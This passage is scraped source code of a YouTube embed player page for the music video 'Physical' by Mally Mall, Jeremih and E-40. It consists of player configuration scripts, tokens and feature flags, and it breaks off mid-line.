{ytcsi.setStart('dhs', w.performance ? w.performance.timing.responseStart : null);var isPrerender = (d.visibilityState || d.webkitVisibilityState) == 'prerender';var vName = (!d.visibilityState && d.webkitVisibilityState)? 'webkitvisibilitychange' : 'visibilitychange';if (isPrerender) {ytcsi.info('prerender', 1);var startTick = function() {ytcsi.setStart('dhs');d.removeEventListener(vName, startTick);};d.addEventListener(vName, startTick, false);}if (d.addEventListener) {d.addEventListener(vName, function() {ytcsi.tick('vc');}, false);}var slt = function(el, t) {setTimeout(function() {var n = ytcsi.now();el.loadTime = n;if (el.slt) {el.slt();}}, t);};w.__ytRIL = function(el) {if (!el.getAttribute('data-thumb')) {if (w.requestAnimationFrame) {w.requestAnimationFrame(function() {slt(el, 0);});} else {slt(el, 16);}}};})(window, document);</script><script >var ytcfg = {d: function() {return (window.yt && yt.config_) || ytcfg.data_ || (ytcfg.data_ = {});},get: function(k, o) {return (k in ytcfg.d()) ? ytcfg.d()[k] : o;},set: function() {var a = arguments;if (a.length > 1) {ytcfg.d()[a[0]] = a[1];} else {for (var k in a[0]) {ytcfg.d()[k] = a[0][k];}}}};</script> <script src="/yts/jsbin/www-embed-player-vflZppemJ/www-embed-player.js" type="text/javascript" name="www-embed-player/www-embed-player" ></script> <script src="/yts/jsbin/player-vfl8swg2e/en_GB/base.js" name="player/base" ></script> <title>Mally Mall, Jeremih, E-40 - Physical (Official Video) - YouTube</title> <link rel="canonical" href="https://www.youtube.com/watch?v=H9hrWLoz4RY"> </head> <body id="" class="date-20180216 en_GB ltr exp-invert-logo exp-responsive exp-search-big-thumbs site-center-aligned site-as-giant-card webkit webkit-537" dir="ltr"> <div id="player"></div><script >yt.setConfig({'EVENT_ID': "K16LWsCyBpWtWNqfv5gJ",'VIDEO_ID': "dRnrjyJV25I",'WIDGET_ID': 1,'ENABLE_JS_API': true,'POST_MESSAGE_ORIGIN': "https:\/\/tpc.googlesyndication.com",'BG_P': "dKWCz0dJDGki1+aB6rEnSGwmv+9XPiK2qX6c9O49vH2H0oP6yHQnDc2jfcDRI4fOtn5z3MnYZrBxBRXkd+TdhA2OwGuXTf8HDao2K\/0vBKBTtyJy3r+E8D2tYR1SaCS5cExqv\/Dw+JgWW\/kxgvV0XtIXqM5UV6rPzNXmE+mn4caFiB19sw2O+\/gCQI59YsIOG\/8o0cb\/edRP6aYZxom7ksBYk5lTe\/\/\/2C954\/lulZU8pVE9ZBc0M7WVdXUZPI0NgoQyJINxqMr7p8iJKP\/+aR8pgIlzfLh5gLu+RMoqk6i6CyYhTFTheQDfZ21k278AgLkcIRW4Yq7UooRZ8Fb86agmieUCjv6AKLQiqg11IRa84HKRv33RlvfsL6ermUsRWYpL0yVUrFht00iTtb1VtsFMZkpvD6fmty9q1BCjm53qYCfjOuSPwG2fZ+m8Sdr6Aai+IHolOInvPNg+18KzDN7hjaGV7g0hznpIoBpkVj7zKpwptiMRzugjDl6xPoghiDr4a7zjnQ7ircIeOhgG0OXPZjRH7N94LVz\/wuef+qvx5PscMuUdwJKFi6Dm6JkybadQkCL\/\/U0IHAKyWnQwC68F4CgYXtq29Xh4Ujy83zNQO6F+e3G\/g2Az\/IO65EsKNBP4Rc5OCZOWfnKQa9oAvK\/D06qFz9A3C9rH0EOAmsI9w5T0etHWI30Q+owKsWKYcpZB0JgPL2jLU1hTIp5ouNWHKITADwxd6YDrQcSK8iBrrx4+bf7aVNhecUz4umnYKHOtRNutgzpSkSLGhtSZG8TipNWmpFCpo7TqZpmaBWnpMmX1\/g8oDJ0tsWM\/7u6+9LcylSwRoKgKx+1mxUG8mLmmgNQLdE+yirZcalCqPs+LbKMaINE+S4E8tglicM11Zg7Ducvf3aKr9IqenBoHFp+nlwgD2ayalI1dgJvjWWyhlI8uvAkxVvAklwqEwGUTdW4\/NsjXwr0CkaeJxJncijP5n9GzCqrRtVqbDJ9rKkgQVV5VNPCxZZ6uzzhGYHr4hC8Xc5ftLNATZW2r5nIGCroRDGVY9o3rDVD2tvwVUo03ygnEv0zBLvUagENw3pM69nsc2sDyWq8\/GWOUurRzEsczAJjAb6wZXpbhvUwhf3iJbLyZYh0XF44l4qsP8Fb+ImoSDewfvAEY8eIYTjoCO849Dlm8h2Uv90SBXmh9QYDHRnxAgh5TnULFpKJMAcZIXDc2TBmtO3v4TURF4RAoNXJDkhcfnbN2mcwE+6Wa5ZhQR1VDz5FGkAVQEwlTSuTlsWtAI\/gbLIwqA+jQlr8WRcmAJIVI+gEMbHWlp51LGKLzDfO\/+Z+IUexPVj52oZRBUY4kIS7ow8MaLVywLk4v6cI3BWKeU25Dff1l6mu8aHMyS8xPi+YAVtmY8D2e3MZ8omEDo0rxC41cPn7vYs\/7PYXid8J7wQKg0Y5TElOSBqnY3pkwiXpCxZPKRQyo7gQyVgvQ6A2\/2hDvg9p6iGcSvH0xLZQc+0FiMH67ckl8bY+mdqWO24ssbgZsxCM5AXByTejsaLAPVpFqCXjfCDMB3UYtyj0YVSdSZCgygWy9d+4LOEjSdHAHoudrD43xZoj0DlOVoCnusmLr7jZqkR5j236XY\/UjIcwU+5eXB0FHzUlRwy+odtDeLEYwckulfYGEOqY1HderHonc5mfBjrilgL4tz+P9kqXkp4NICKFTATG35nw2ySgI2GYX7oNbJF7cKeRlzV7m9vD+lC6YLPASKC+W4X6m8gGOdCWXB5m2OZmU+RXOwCP9Y9D3mbqF1OIw+iaqLPU5bhZSH\/LWj3EDNiANdEHh\/AiapjnWFqwt\/sGqF+LhTKFSqaKIdjCmC21L4bUineXi9mO5UzzYedgSpMvDbefRkcS7B84zrzplctujC+n+TOXzFmXqo2RlxulytuPLkwwinaMCkqsRSj2Ivx+h6NylzuXn6ir3ql71I262HZ9FEOr2eZDBxyJFAVFJekqKcTcto3pO1P1sHjKw4iEaXaMKJjACbe9StSsN\/MbihfBRkjGseUdja0hvLhyWKr8SZyTKmRzYPuCyu12947GgHwRKk6AV45FZ41ggD4KT8nIlo0+i3A0v5u9W\/BH0BOpMeVDbPkf5Y1l+jnIwcswJQCEnRLXqVBMBXIT8KtdFKJr7vaSKHd7Zny5w3aL6GWPZQH3jFwSn4+8YB+PWjRrRNJeQBY2NLzW7BSPaSRzdp\/NDx8mTxVDbB7rWdzdd7+D4VEzWEY2vtf2jAKOOdX+CCk+7ek3IMe8+ioOxkfo5EBygEYfuvOQPuBrFsZM4liU\/Rk4uFTS91PoreCuAJThzOGMxW7Elx8GSI9U9tHUHOs2hcnBqhqd4LTz5pbR2ZCxztC0AzWts1i\/bInebZATIXzKPdGw5OUVi9P6fJYt3vi4zhzyvpRp5M1RGzsPgedDp16yHaFXR+nGfWqRfOAqFFVnjz0e06mbZ3M5cZyIepsyiN45iHdM5\/YfZCj9Bk1Rru134h6CJPRIBOVG1ya\/Yhs6OQ6MZj5QyUgLxjdYpm65HYLt+Qy8nYFth9QLbMR32P2gEf7Kc88zo4Tcc3H0AqKTZ02QEUiD7wfc0ZVIPqtGhiHYGIPEEhhIkdyQlBJKsNtjMg1Zoq8y8agKmRaKY1CHp4+GaDVKUIInFNR\/Ge5S5TeYXJVJ0hFqLO1E52U3hUxcBq90iKQq2tzfXhCZy+D9zD7zh1qEPGxpkdU4gaSACwqUbWBTocVB0bQn0VNDKQpVxggIXItmg7gTHYOThV7eMpYHO8sRxgPhsBnKsjU2xuXud57bcooCQrPc19bIDN3FiXqJJ4OkfLC9IV2OcTqOUeVMDIvX84sXPfvMPT63veg3nQcSD0aaZeIkX8p2Uepg9pwZQrkbdviR0D0RSzbem2B1IOml7t2YhantgBJ0JXyjCM6PiEoVuQ4J20gmrEy4va+CEdBWEfUWiQNxwTFPE1h9GxSX5VwaUqQ\/AUZ4ytahxxxTY8ff6dv1PvfGPI4MuWjhhCRzP50nrHdFOPNCPRkXeVsQ4bNM17+SYwdaxCpL0u0AcaURx5TawNUG1hgaxyhZVLwrGUlDPoYtA1tPZU7O8m+uSCkaw\/xHZn+aNjTZ4Dxct00uCS1j2qpWQ1ZR1bx5MLeh5z\/W8ukJ1+OV157+wHIBDai6YZlWhQdfHWdd+mEoxNtPwUMdj\/bVTnz4uBZub3tx+6tu0okS53Nni2SPGzu751R2J1wwVC44nzpyVlW386xdFwSu4bcaKt94VRZdgn3mpfAF2oTMll8WZJ9E\/tGv58g24GCnNRbAtqmWPoPttpYKGdKaS4\/zwsZSKoWxMi6tRcIOko7MR0KBW4dbOvX3RldaMyImkJJJPL5o0pHLH+W5S6MJnT\/u4HK8203BFaYVunqveCrslHmpR+Oeag33htt94xJsJcek1VSyxnLEboOn9sBDQw\/go4zs3+PZVZH4uw3UBn1CRl70Z9cL1jF4CA+oe2l03+gNkhvIiW9sCJcu8Ozl9nb4Mz3Rn+b2XIYOHgX\/o0BEKDt9zLB9r03G2u2JKvYIjF\/fF8Gg0\/IKDc8J4+VTGucVfg9IWuRvDcYOyYzYVroAuWqDGKrUf6OSVlaUJzgy9+++5a5FZnEBiWKoUIBvjqYCtM24H5ks\/nnF6LYRFbgkfWjcH0W8Tu4QkXfgHwwc2W0JVS1M199+bqwHDuxsfmqja5LvIl07rq87eAZx5a09ch2Yal1XziQunDUm+h5X+itXULQKuDjpqlD2KyUDKOHWjctHPMgRXAK+ax+G4QNEoDXrgBshfX0BoFIpX\/guICgq\/QGHLZXRRLNiYuKJjCYxxhSvOnCoyN6wMs7AwKOXlXIKegFxhXqMiiM9C+ulzbVCnjn6+l57bufyWQCTPWw70WOdEry4MjGIUgtKZ6L8Jv3FxkzcFpWHB4QkLl3OrIXYT\/N17pJx68cbz1Va75PxJBw2F5KMm\/vfcfYmvIAvtePWpliVgZzvRVYeDrV\/JaTyRbh+o070qo6w86dBgtNJymcw2gjmcoKUBcF2vBJZihZ2KwW+tZ4omGgi58Lh+q+w2Fx6rkqQ9bK\/Vc+kQrKn0cYmHO0BwTAyS3\/LDCxVa79DT+43VjSsFmugX8DcYt51oNO+j\/WTFkwXsu73125M0I0rZqxuGwM4qgO+fSeTMi6fuQI\/mRKtZhSZhy6wrAb3tnGQZw+cGTxHCRoLwPznPcer5VnFcMMTKeETrVM4UFQJcQsQIp6EKfItWvW+5HDZ2O5BmzgPNJMbWp0aaQVztYdWoDprwRqfUGINsz1058pv9o\/Eq7GWDBE8i\/iYCjrQ6cPAA0KVWPaSlxECl\/9JxQIQYTzwhE87p5wrT\/jGVsq3IJr22cPiICTszRkQKsIngStCc9uT\/\/LycjGd\/CFjcg51EBy8aR6qHFFBmky4N77R86h6+8xOAk2YrUyiQpi31o69Gn3ib3BtuypTCdZAsJjcOngAJebbQKFQ6OsPMtLFkm9cjhgR7xecsOkilAFgnwnuWDHK4Q2m8RlcOFyyUw\/\/qBnNQ+p+B42sQPq67Y5VpY5A1TOlpYysaoZRQtxZjtI46cnGpjQSoeagHDe8cOgDgiAVLqmFxC3MAddLfmcbIc8NgY2vFtO3rUoEozkdx6hzgejo+7i0eExw620IftK+DvckUPt3NaRKaElahNKfQX31HG83zVSKYy1IXxx+UQm8L9dFcR84Z2AbKTdiKEjjtEOJiLxMNxCeGD+61GJ6eA7FFMRniqLvFy55MyICpP987sryPV\/intEEoJwdWTMLQ\/s\/8nm+psajYvGjxWeeJk5DIEd9bv+K7E9jtHXO4apeOgPNbTZULQPQG3C0k5vDbo0k6v3hafR+\/bvXhisFyRZsK2OMAN2dwJpi4LzMSYpOZjxzJFPbgEH2kNL1Ep6AJ9dPwZ8QdSvGivUP1LN6EnP5AxOBGaMOSipLAJU7znt7pZ14HngVBnNruk5jzyYNArQiKuBxx8x13l8vvRClutKaDDhjimfQAK3zXWfONmF2+48XjLRjI0Zm0ma9JfyaHG+ZS88c+qA0f1xdJK+CGxCaZFuNwzZ2dvFzrr3fEDgmGufsHLxwOBhLvVs0OSkHl\/JKsHKbV0uMNZuMnyeoadxgb0Q3IlBZLoyMRxVzHNC+TL2KtWmr5tRMBK9MajSWUdNe+4ittuE8CoOTo1NzEO5vGabBa2cs424y3+dquj3uob96RsvAzl6FyFlORPFgfJS0EGDpICtxN5KgwN0qlRJvFwNo24OXcmjqPniSJbvhRrJWaWZwiM+edRsJ+fyHsbKA2owE44YRUKlzguTcTw1osxoyJXIkMgFMiIz52z8oIHL4ceW5Df0Rwf\/zcMOXVtFHrdo2AkseFLN3uemO+t6wSn3NF\/lyCTL6q0t7+lrYVT7lpL3PYiR\/s2HDGNu9BSAQcK8Irrvj5ivDEH21zey5JgWelb9QEZJeyNwdVWyK2JqXuCzVLGAJVO9q+m2\/ibClLJRdrAk0fqVXB9fNcvlyrtsl3ftTrbuDBgg73AFvEO1dLor+g8XjSWka1sVYKlx6QsxwGQbAixMn3zxoCAvRp2HC9ZHNxAQ0WpbhvT\/aFRhLS1xyt9NYKYsHl7DLh9ft2tTn0N6L02w9cmPRlVMJvt8wqyW11DsG+l5OyDJscu5163QExZp7pC1PyLtg\/9OKhFG3LP2tEljXThZWeBkKo5hCRqSKsi016m+X3jc7J134Bm4Jb5jHwD8RtCetfol4SXRmWsg1yZLB2R8Qs99cSCHU9GhP589RTogpxHvMOMRRHwuqXceHbY+7hctY5vfYPGyWlMppNujj1FR0AIUmSF7swpLE5oeyQAGBqTEUrEaS24i5Q9Xlm5145pZN10KjwxNsMG5lGYM7yUtUarEP4Eh29VS7Pah8I1ukhVun0han96x6TduEZ5DWA6LXIrGSvexbGpG34PSN793+QL3KcItqLMnzQAQgrkjyoAcyy8hxPGC39CUZg2SSUZfxkazvKH3OoGcIlPTjiqRwoQ+cjU3tMmW8vL5TOH407DhHMOwuH8KKlWhIFmfvz6RHn260xkui0yCn7okCWkldYuaJ0bfalVQN1tEgCkAHgDISCJ4T59eOR5fImjbpJRKTrSDSMvzoWM1CBMAEuWJ\/cRWS1GxF3YrDeZX9W21qe3XnhnvGZec\/\/6IsXa4qTPkj0alIWuTDHBntZRM3\/HmVCzgqT2CDzQAyh9nDwtIzhcMRLbJd\/aCJmvI3Y+S+VSzUPzMlr2Mgiye6ynZzaPPZH\/XwbpbHntIOrxMCd878PdAs6S4ZYhkRP2VN54mpeBWOrEAvUKgvW9gwqQnMy4dDlBY27bDlD+qc6zoLicoxp1m00gFJsfzxM0+e4i3UzbkjjmBC5NJ+FTNzome2Xtad9R3cVUF5ruaysclUJfj+pPrdpm\/bBzJLg3+C2UuE1ayjipn0zfnpn0ZF3fyOFCoGXvSBwtlY+PxaU31Rrl1uMHemCaeAaKGr2+\/A07ri7vtaR2uF8eq\/IIPhAfax8F52FgoIFVmf1e\/634XbKJ40RcULwX3+T94aYCu07DRglf+wS1OAOIyYf3SmT1GQCZosHSZQsrnwO\/VuLvKxcMrjtNXQP1pdPLn0jogbx4FwHv5oQ1fTYmXljAPVKArZomA8iS5fO115VXU7ca7lhgkTVaALvX1CXLNIAu0mU+aSnam+iuYLrZyJMD\/ZWGkq8GPaFzxp00A3zVmwEENnOOCC8OLRBie0GSVQljNdy5uy\/61FyrnGwUbScu6WxgSbWl45mu0pJ1sdQl6u7jAZvnPBFFhfcSbINTzpr1BgD69cyRJDGqTctiuzFHGi2N+ODnS+iVQW0k5xNYYoh3yo4DThyyDjv+XplyCDkoehs1nZILTlI5big5pKl\/XW+3ngfPG7\/Ey5Mf2aRSjolhaZqA\/aNCxy3em7JsRpRkYa97pJlsc1\/Vq3RmUrCouBtMo5IWnn\/wS7thIHYP7UxsWL6J\/4j4wS+cTQ\/cG0CPX6fSUyJZPATaBarQPL1VRo7CnyzYHibdS0+SVrWtO3X1lbvY7a0j7i6WzSFP\/Z1L4bVI+5i5scx7dANXGieCkD2Ds7zryVmAxMoHGgNRwgJQEpprEi0b\/5JyHWcBPPt4QIYsAzXyTv+BQj4HPTmCwDFLok1qHvu4j2ifAGoAaTYfmdJiJmvJWoJyZEgjinJQ+c+eEjAwCEK6gRigee9giqH\/0EpC2CF+qRFYJ0O+MlPDqpUjpcruCVhgkWWk8hZxUz02lb5m3b4iQhLRawk+uM2Q+V7st2emmPcEoZ977FQYq878CBB41tCoEj1FGTI1xux8YCKoiri2Z45\/lpsyN1TTsnyhp8Cu5fbYg7G+vgqN3KngpddGVtg3oOfaaK6nCpSeoW33PnVQfRKvHlG035ukF+zng5b2QKjpvJiEoVuWwz",'BG_IU': "\/\/www.google.com\/js\/bg\/IOA8y9bJh23yzX_Xx1Lzdpvil-FmhhSrkRF2am8kUAc.js",'XSRF_TOKEN': 'QUFFLUhqbndabm03VVIyaE54RkZXamNJZEJpbk5VZnZMd3xBQ3Jtc0traFhNZm4tT3h5aTlMVk53MGw1Y2l1aktWYklXQlRFX0tfZUdFNXctMlQ2N19DdnM3NnFQT21EQzJpUFc1ZzBRMl9BQjB5V2w4RzJlcE11NTlZUkxEaGs2ekJ1SkJMX2VEdHdHclJfSVZzS1ZjaUlhWk1BcFR6SHk1cFAxeVRNR3J1V0dNZ1BKamtGeFk2Qnhpd2hTM0xDWFRlX2c=','XSRF_FIELD_NAME': 'session_token','EURL': "https:\/\/tpc.googlesyndication.com\/safeframe\/1-0-14\/html\/container.html"});yt.setConfig({APIARY_HOST: "",INNERTUBE_API_KEY: "AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8",INNERTUBE_CONTEXT_CLIENT_VERSION: "20180215",XHR_APIARY_HOST: "youtubei.youtube.com",INNERTUBE_API_VERSION: "v1",INNERTUBE_CONTEXT_CLIENT_NAME: 56,GAPI_HINT_PARAMS: "m;\/_\/scs\/abc-static\/_\/js\/k=gapi.gapi.en.HtLvrA_npCQ.O\/m=__features__\/am=AAE\/rt=j\/d=1\/rs=AHpOoo8wHQU_A1WtgGgcOpQEfGjHuD8e-g",APIARY_HOST_FIRSTPARTY: "",'VISITOR_DATA': "Cgt1NFBiOHktb3hScw%3D%3D",'DELEGATED_SESSION_ID': null,'GAPI_HOST': "https:\/\/apis.google.com",'GAPI_LOCALE': "en_GB",'INNERTUBE_CONTEXT_HL': "en-GB",'INNERTUBE_CONTEXT_GL': "MA",'XHR_APIARY_HOST': "youtubei.youtube.com"});ytcfg.set("ROOT_VE_TYPE", 16623);ytcfg.set("EVENT_ID", "K16LWsCyBpWtWNqfv5gJ");yt.setConfig({'PLAYER_CONFIG': {"assets":{"css":"\/yts\/cssbin\/player-vflWsxn7B\/www-player-webp.css","js":"\/yts\/jsbin\/player-vfl8swg2e\/en_GB\/base.js"},"attrs":{"height":"100%","id":"video-player","width":"100%"},"args":{"iurlhq720_webp":"https:\/\/i.ytimg.com\/vi_webp\/dRnrjyJV25I\/hq720.webp","avg_rating":4.8042813456,"cr":"MA","el":"detailpage","user_display_image":"https:\/\/lh4.googleusercontent.com\/-PPVxqpJidSc\/AAAAAAAAAAI\/AAAAAAAAAW8\/8wD5R1-5bCQ\/photo.jpg","profile_picture":"https:\/\/yt3.ggpht.com\/--7rnjwnIDQw\/AAAAAAAAAAI\/AAAAAAAAAAA\/3GRM5B1PXjs\/s68-c-k-no-mo-rj-c0xffffff\/photo.jpg","vq":"tiny","iurl":"https:\/\/i.ytimg.com\/vi\/dRnrjyJV25I\/hqdefault.jpg","fflags":"html5_default_ad_gain=0.5\u0026mweb_muted_autoplay_animation=shrink\u0026player_external_control_on_classic_desktop=true\u0026html5_tight_max_buffer_allowed_impaired_time=0.0\u0026html5_msi_error_fallback=true\u0026html5_minimum_readahead_seconds=0.0\u0026html5_stall_pctile=true\u0026html5_use_adaptive_live_readahead=true\u0026flex_theater_mode=true\u0026html5_ignore_bad_bitrates=true\u0026html5_sticky_disables_variability=true\u0026html5_live_abr_head_miss_fraction=0.0\u0026html5_min_readbehind_secs=0\u0026enable_live_state_auth=true\u0026html5_break_deadlocks=true\u0026enable_bulleit_lidar_integration=true\u0026html5_mweb_client_cap=true\u0026player_destroy_old_version=true\u0026disable_max_adsense_channel_limit=true\u0026html5_enable_bandwidth_estimation_type=true\u0026embed_show_watchlater_login=true\u0026html5_parse_inline_fallback_host=true\u0026allow_live_autoplay=true\u0026sdk_ad_prefetch_time_seconds=-1\u0026stop_using_ima_sdk_gpt_request_activity=true\u0026html5_background_quality_cap=360\u0026enable_spherical_ps4=true\u0026html5_serverside_biscotti_id_wait_ms=1000\u0026html5_use_has_subfragmented_fmp4=true\u0026limit_of_rebuffering_event_on_html5=1000\u0026html5_bandwidth_window_size=0\u0026vss_dni_delayping=0\u0026html5_vp9_live_blacklist_edge=true\u0026web_player_api_logging_fraction=0.01\u0026fixed_padding_skip_button=true\u0026html5_hopeless_mode_request_size_secs=15\u0026html5_player_autonav_logging=true\u0026sdk_wrapper_levels_allowed=0\u0026html5_live_normal_latency_bandwidth_window=0.0\u0026html5_composite_stall=true\u0026html5_new_peg_to_live_v2=true\u0026show_thumbnail_behind_ypc_offer_module=true\u0026enable_afv_div_reset_in_kevlar=true\u0026html5_min_buffer_to_resume=6\u0026html5_el_migration=true\u0026html5_quality_cap_min_age_secs=0\u0026playready_on_borg=true\u0026html5_max_buffer_duration=0\u0026html5_live_low_latency_bandwidth_window=0.0\u0026html5_progressive_signature_reload=true\u0026html5_suspended_state=true\u0026variable_load_timeout_ms=0\u0026html5_report_conn=true\u0026html5_incremental_parser_buffer_duration_secs=1.5\u0026html5_disable_urgent_upgrade_for_quality=true\u0026html5_strip_emsg=true\u0026html5_start_off_live=0\u0026html5_ad_stats_bearer=true\u0026html5_streaming_xhr_progress_includes_latest=true\u0026html5_manifestless_no_redundant_seek_to_head=true\u0026html5_maximum_readahead_seconds=0.0\u0026html5_drm_generate_request_delay=0\u0026spacecast_uniplayer_decorate_manifest=true\u0026use_new_style=true\u0026live_readahead_seconds_multiplier=0.8\u0026mweb_playsinline=true\u0026html5_enable_embedded_player_visibility_signals=true\u0026html5_video_tbd_min_kb=0\u0026disable_set_awesome_html5=true\u0026html5_new_autoplay_redux=true\u0026enable_prefetch_for_postrolls=true\u0026dynamic_ad_break_pause_threshold_sec=0\u0026html5_preload_size_excludes_metadata=true\u0026html5_mobile_perf_cap_240=true\u0026html5_subsegment_readahead_min_buffer_health_secs=0.25\u0026ad_video_end_renderer_duration_milliseconds=7000\u0026html5_hls_initial_bitrate=0\u0026mpu_visible_threshold_count=2\u0026html5_disable_preserve_reference=true\u0026html5_live_4k_more_buffer=true\u0026html5_suspend_manifest_on_pause=true\u0026html5_enable_mesh_projection=true\u0026html5_incremental_parser_coalesce_slice_buffers=true\u0026mweb_muted_autoplay=true\u0026send_html5_api_stats_ads_abandon=true\u0026uniplayer_dbp=true\u0026dash_manifest_version=5\u0026mweb_enable_skippables_on_iphone=true\u0026html5_platform_minimum_readahead_seconds=0.0\u0026html5_disable_non_contiguous=true\u0026html5_live_abr_repredict_fraction=0.0\u0026html5_disable_move_pssh_to_moov=true\u0026show_thumbnail_on_standard=true\u0026html5_ultra_low_latency_streaming_responses=true\u0026html5_adjust_effective_request_size=true\u0026html5_restrict_streaming_xhr_on_sqless_requests=true\u0026youtubei_for_web=true\u0026html5_ad_no_buffer_abort_after_skippable=true\u0026interaction_click_on_gel_web=true\u0026html5_disable_webgl_antialias=true\u0026autoplay_time=10000\u0026html5_stale_dash_manifest_retry_factor=1.0\u0026html5_widevine_robustness_strings=true\u0026web_embedded_player_service=true\u0026html5_max_headm_for_streaming_xhr=0\u0026kevlar_allow_multistep_video_init=true\u0026deprecate_get_video_metadata=true\u0026html5_enable_ms_playready_hd=true\u0026html5_qoe_unstarted_in_initialization=true\u0026lightweight_watch_video_swf=true\u0026disable_mweb_iphone_ad_click_handling_functionality=true\u0026live_fresca_v2=true\u0026mweb_cougar_big_controls=true\u0026html5_serverside_call_server_on_biscotti_timeout=true\u0026html5_request_sizing_multiplier=0.8\u0026disable_set_awesome_mweb=true\u0026html5_live_probe_primary_host=true\u0026html5_connect_timeout_secs=7.0\u0026html5_min_readbehind_cap_secs=0\u0026player_unified_fullscreen_transitions=true\u0026html5_qoe_intercept=\u0026postroll_notify_time_seconds=5\u0026mweb_cougar_ads_backend=true\u0026html5_allowable_liveness_drift_chunks=2\u0026html5_suspend_loader=true\u0026html5_stop_video_in_cancel_playback=true\u0026html5_live_only_disable_loader=true\u0026live_chunk_readahead=3\u0026html5_prefer_server_bwe3=true\u0026disable_new_pause_state3=true\u0026html5_get_video_info_timeout_ms=0\u0026html5_new_fallback=true\u0026legacy_autoplay_flag=true\u0026html5_post_interrupt_readahead=20\u0026fix_gpt_pos_params=true\u0026persist_text_on_preview_button=true\u0026forced_brand_precap_duration_ms=2000\u0026html5_min_startup_smooth_target=10.0\u0026dynamic_ad_break_seek_threshold_sec=0\u0026html5_min_secs_over_max_bytes=true\u0026disable_client_side_midroll_freq_capping=true\u0026html5_subsegment_readahead_timeout_secs=2.0\u0026html5_ignore_public_setPlaybackQuality=true\u0026html5_vp9_live_whitelist=true\u0026html5_subsegment_readahead_min_buffer_health_secs_on_timeout=0.1\u0026html5_variability_discount=0.5\u0026html5_subsegment_readahead_progress_timeout_fraction=0.8\u0026html5_request_size_min_secs=0.0\u0026fast_autonav_in_background=true\u0026website_actions_throttle_percentage=1.0\u0026html5_streaming_xhr_optimize_lengthless_mp4=true\u0026disable_trusted_ad_domains_player_check=true\u0026html5_live_pin_to_tail=true\u0026mweb_autonav=true\u0026use_fast_fade_in_0s=true\u0026html5_jumbo_ull_subsegment_readahead_target=1.0\u0026html5_error_reload_cooldown_ms=30000\u0026html5_deadzone_multiplier=1.0\u0026html5_min_secs_between_format_selections=8.0\u0026html5_streaming_xhr_buffer_mdat=true\u0026html5_get_video_info_promiseajax=true\u0026html5_subsegment_readahead_always_delay_appends=true\u0026skip_restore_on_abandon_in_bulleit=true\u0026html5_license_constraint_delay=5000\u0026html5_max_av_sync_drift=50\u0026html5_manifestless_accurate_sliceinfo=true\u0026html5_repredict_interval_secs=0.0\u0026html5_new_e2e_latency_tracking=true\u0026html5_subsegment_readahead_tail_margin_secs=0.2\u0026disable_indisplay_adunit_on_embedded=true\u0026playready_first_play_expiration=-1\u0026html5_max_buffer_health_for_downgrade=15\u0026html5_throttle_rate=0.0\u0026html5_aspect_from_adaptive_format=true\u0026html5_live_ultra_low_latency_bandwidth_window=0.0\u0026tvhtml5_background_su=true\u0026html5_elbow_tracking_tweaks=true\u0026mweb_cougar=true\u0026html5_min_upgrade_health=0\u0026html5_adunit_from_adformat=true\u0026html5_serverside_call_server_on_biscotti_error=true\u0026web_player_disable_flash_playerproxy=true\u0026disable_reporting_html5_no_vast_ads_as_error=true\u0026html5_env_data_update_app_only=true\u0026html5_incremental_parser_buffer_extra_bytes=16384\u0026web_player_edge_autohide_killswitch2=true\u0026html5_reselect_bandwidth_factor=3.0\u0026web_player_tabindex_killswitch=true\u0026html5_reattach_resource_after_timeout_limit=0\u0026html5_subsegment_readahead_target_buffer_health_secs=0.5\u0026html5_throttle_burst_secs=15.0\u0026html5_fludd_suspend=true\u0026html5_tight_max_buffer_allowed_bandwidth_stddevs=0.0\u0026safari_enable_spherical=true\u0026html5_observe_live_start_seconds=true\u0026call_release_video_in_bulleit=true\u0026html5_variability_full_discount_thresh=3.0\u0026html5_pipeline_manifestless=true\u0026use_new_skip_icon=true\u0026html5_spherical_bicubic_mode=1\u0026html5_aux_pctile=true\u0026ad_duration_threshold_for_showing_endcap_seconds=15\u0026html5_subsegment_readahead_controlled_by_buffer_health=true\u0026html5_always_enable_timeouts=true\u0026doubleclick_gpt_retagging=true\u0026use_forced_linebreak_preskip_text=true\u0026midroll_notify_time_seconds=5\u0026max_resolution_for_white_noise=360\u0026html5_no_shadow_env_data_redux=true\u0026html5_default_quality_cap=0\u0026html5_max_readahead_bandwidth_cap=0\u0026use_html5_player_event_timeout=true\u0026html5_sticky_ignore_capped=true\u0026enable_mesh_ps4=true\u0026king_crimson_player_redux=true\u0026mweb_autonav_paddles=true\u0026html5_deferred_source_buffer_creation=true\u0026html5_live_disable_dg_pacing=true\u0026desktop_cleanup_companion_on_instream_begin=true\u0026html5_pipeline_ultra_low_latency=true\u0026html5_disable_audio_slicing=true\u0026html5_clearance_fix=true\u0026show_countdown_on_bumper=true\u0026segment_volume_reporting=true\u0026www_for_videostats=true\u0026html5_pause_video_fix=true\u0026html5_sticky_reduces_discount_by=0.0\u0026html5_request_size_max_secs=31\u0026mweb_playsinline_webview=true\u0026html5_background_cap_idle_secs=60\u0026html5_nnr_downgrade_adjacency=true\u0026html5_variability_no_discount_thresh=1.0\u0026html5_local_max_byterate_lookahead=15\u0026website_actions_cta_redesign=true\u0026html5_readahead_ratelimit=3000\u0026html5_nnr_downgrade_count=4\u0026html5_defer_background_errors=true","ucid":"UCCLZfZNgKxUQsCbPod7iVpw","channel_path":"\/channel\/UCCLZfZNgKxUQsCbPod7iVpw","iurlhq_webp":"https:\/\/i.ytimg.com\/vi_webp\/dRnrjyJV25I\/hqdefault.webp","cosver":"6.1","iurlmaxres":"https:\/\/i.ytimg.com\/vi\/dRnrjyJV25I\/maxresdefault.jpg","enablejsapi":"1","rel":"0","author":"EMPIRE","eventid":"K16LWsCyBpWtWNqfv5gJ","short_view_count_text":"549K views • 15 comments","innertube_api_key":"AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8","embed_config":"{}","iurlmq_webp":"htt
